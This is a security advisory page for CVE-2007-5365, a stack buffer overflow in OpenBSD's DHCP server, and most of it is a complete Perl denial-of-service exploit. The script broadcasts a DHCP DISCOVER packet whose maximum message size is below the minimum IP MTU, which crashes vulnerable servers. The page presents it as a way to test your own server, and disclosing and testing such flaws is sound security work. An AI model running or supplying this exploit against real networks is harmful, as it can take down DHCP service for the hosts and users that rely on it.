SecuriTeam - Stack-Based Buffer Overflow Vulnerability in OpenBSD's DHCP Server (Exploit)

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CanSecWest 2012

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Hack In Paris

Stack-based buffer overflow in the cons_options function in options.c in dhcpd in OpenBSD 4.0 through 4.2, and some other dhcpd implementations based on ISC dhcp-2, allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via a DHCP request specifying a maximum message size smaller than the minimum IP MTU. The following exploit code can be used to test your DHCP server for the mentioned MMS issue (maximum message size).

Credit:
The information has been provided by RoMaNSoFt.

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Exploit:
#!/usr/bin/perl
# DoS Exploit for DHCPd bug (CVE-2007-5365)
# By Roman Medina-Heigl Hernandez
# a.k.a. RoMaNSoFt <roman@rs-labs.com>
# [27.Oct.2007]
# Tested: Ubuntu 6.06 LTS

use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;

use POSIX qw(setsid strftime);
use Getopt::Long;

### Default config
$mms = 280;

GetOptions ('mms=i' => \$mms);

# sample logger
sub logger{
    my $str = shift;
    print STDOUT strftime "[%d/%b/%Y:%H:%M:%S] ", localtime;
    print STDOUT "$str\n";
}

print ("DHCPd DoS exploit (CVE-2007-5365) - RoMaNSoFt, 2007\n---\n");

logger("Opening socket");
$handle = IO::Socket::INET->new(Proto => 'udp',
                                Broadcast => 1,
                                PeerPort => '67',
                                ## Hacked to work as non-root user :)
                                # LocalPort => '68',
                                PeerAddr => '255.255.255.255')
      || die "Socket creation error: $@\n"; # yes, it uses $@ here

# create DHCP Packet DISCOVER
$discover = Net::DHCP::Packet->new(
                      Xid => 0x12345678,
                      Flags => 0x8000, # ask for broadcast answer
                      DHO_DHCP_MESSAGE_TYPE() => DHCPDISCOVER(),
                      DHO_VENDOR_CLASS_IDENTIFIER() => 'rs-labs.com',
                      DHO_DHCP_MAX_MESSAGE_SIZE() => $mms,
                      );

logger("Sending DISCOVER");
logger($discover->toString());
$handle->send($discover->serialize())
              or die "Error sending:$!\n";
logger("Done");

CVE Information:
CVE-2007-5365

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